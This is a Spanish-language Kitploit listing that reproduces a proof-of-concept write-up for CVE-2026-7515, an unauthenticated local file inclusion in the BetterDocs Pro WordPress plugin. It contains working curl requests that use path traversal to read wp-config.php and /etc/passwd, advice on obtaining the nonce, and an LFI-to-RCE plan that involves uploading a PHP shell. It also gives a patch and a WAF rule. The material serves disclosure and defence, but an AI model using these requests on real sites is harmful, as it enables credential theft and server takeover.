Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Inclusión de archivos locales sin autenticación | Kitploit
Herramientas/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Inclusión de archivos locales sin autenticación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 2 mesesAún no revisado

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Inclusión de Archivo Local No Autenticada

Resumen

CampoValor
ID CVECVE-2026-7515
Puntuación CVSS9.8 (Crítica)
Vector CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AfectadoBetterDocs Pro <= 3.8.0
Parcheado3.8.1
InvestigadorNguyen Ngoc Duc (duc193)
Publicado18 de junio de 2026
CWECWE-98: Control Incorrecto del Nombre de Archivo para Sentencia Include/Require

Descripción de la Vulnerabilidad

El plugin BetterDocs Pro para WordPress es vulnerable a Inclusión de Archivo Local en versiones hasta la 3.8.0 inclusive, a través del parámetro doc_style. Esto permite que atacantes no autenticados incluyan y ejecuten archivos PHP arbitrarios en el servidor.

Análisis de Flujo: Fuente → Sumidero

Fuente (Entrada del Usuario)

Archivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Línea: 141

root@kitploit:~
// CÓDIGO VULNERABLE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problema: La entrada controlada por el usuario desde $_POST['doc_style'] se usa directamente sin ninguna validación.

Sumidero (Función Peligrosa)

Archivo: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Línea: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problema: La variable $doc_style (controlada por el usuario) se interpola directamente en la ruta del archivo pasada a views->get(), que incluye el archivo.

Flujo de Datos

root@kitploit:~
Petición HTTP POST
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
SIN VALIDACIÓN (versión vulnerable 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Inclusión de archivo mediante include() o require()
        ↓
Ejecución de Código PHP Arbitrario / Lectura de Archivos

Diferencia: Versión Vulnerable vs Parcheada

Versión Vulnerable 3.8.0

root@kitploit:~
// Línea 141 en includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Versión Parcheada 3.8.1

root@kitploit:~
// Líneas 145-148 en includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Diferencias Clave

Puntos Finales AJAX Afectados

Ambos puntos finales se registran con ganchos nopriv, lo que significa que son accesibles para usuarios no autenticados:

root@kitploit:~
// Líneas 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Líneas 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Puntos Finales:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Prueba de Concepto

Requisitos Previos

  • encyclopedia_nonce válido (se encuentra en el código fuente de la página en páginas que contienen el bloque BetterDocs Encyclopedia)

Explotación Manual

root@kitploit:~
# Paso 1: Leer wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Paso 2: Leer /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Cómo Encontrar el Nonce

El encyclopedia_nonce está expuesto en JavaScript en las páginas donde se renderiza el bloque BetterDocs Encyclopedia:

root@kitploit:~
// En betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- Esto es lo que necesitas
};

Ruta de LFI a RCE

  1. Leer wp-config.php - Extraer credenciales de la base de datos
  2. Subir un shell PHP - A través de la carga de medios de WordPress o el editor de temas
  3. Incluir archivo malicioso - Mediante la vulnerabilidad LFI
  4. Ejecutar código - Obtener ejecución remota de código

Impacto

Remedio

Corrección Principal

Actualizar a BetterDocs Pro versión 3.8.1 o posterior

Corrección Manual (si no es posible actualizar)

Aplicar el siguiente parche a includes/Core/Encyclopedia.php:

root@kitploit:~
// Reemplazar la línea 141 con:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Aplicar la misma corrección en la línea 236.

Reglas WAF (Mitigación Temporal)

Agregar regla para bloquear el salto de directorio en el parámetro doc_style:

root@kitploit:~
# Bloquear doc_style con patrones de salto de ruta
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'Intento de LFI Bloqueado'"

Referencias

  • Wordfence Intelligence
  • BetterDocs Oficial
  • Detalles CVE
  • WPVDB

Archivos Analizados

root@kitploit:~
Versión Vulnerable: betterdocs-pro_3.8.0.zip
Versión Parcheada:   betterdocs-pro_3.9.0.zip

Archivos Clave:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contiene generación de nonce)
- includes/Utils/Views.php          (Lógica de inclusión de archivos)
Descargar herramienta
AspectoVulnerable (3.8.0)Parcheado (3.8.1)
ValidaciónNingunaLista blanca con in_array()
Valores PermitidosCualquier cadenaSolo doc-grid, doc-list, doc-list-2
Verificación de TipoNoComparación estricta (===)
Tipo de ImpactoSeveridadDescripción
ConfidencialidadALTALeer archivos arbitrarios (wp-config.php, /etc/passwd, etc.)
IntegridadALTAModificar o eliminar archivos
DisponibilidadALTADenegación de servicio
Vector de AccesoRedExplotable remotamente
PrivilegiosNingunoNo se requiere autenticación
Interacción del UsuarioNingunaNo es necesaria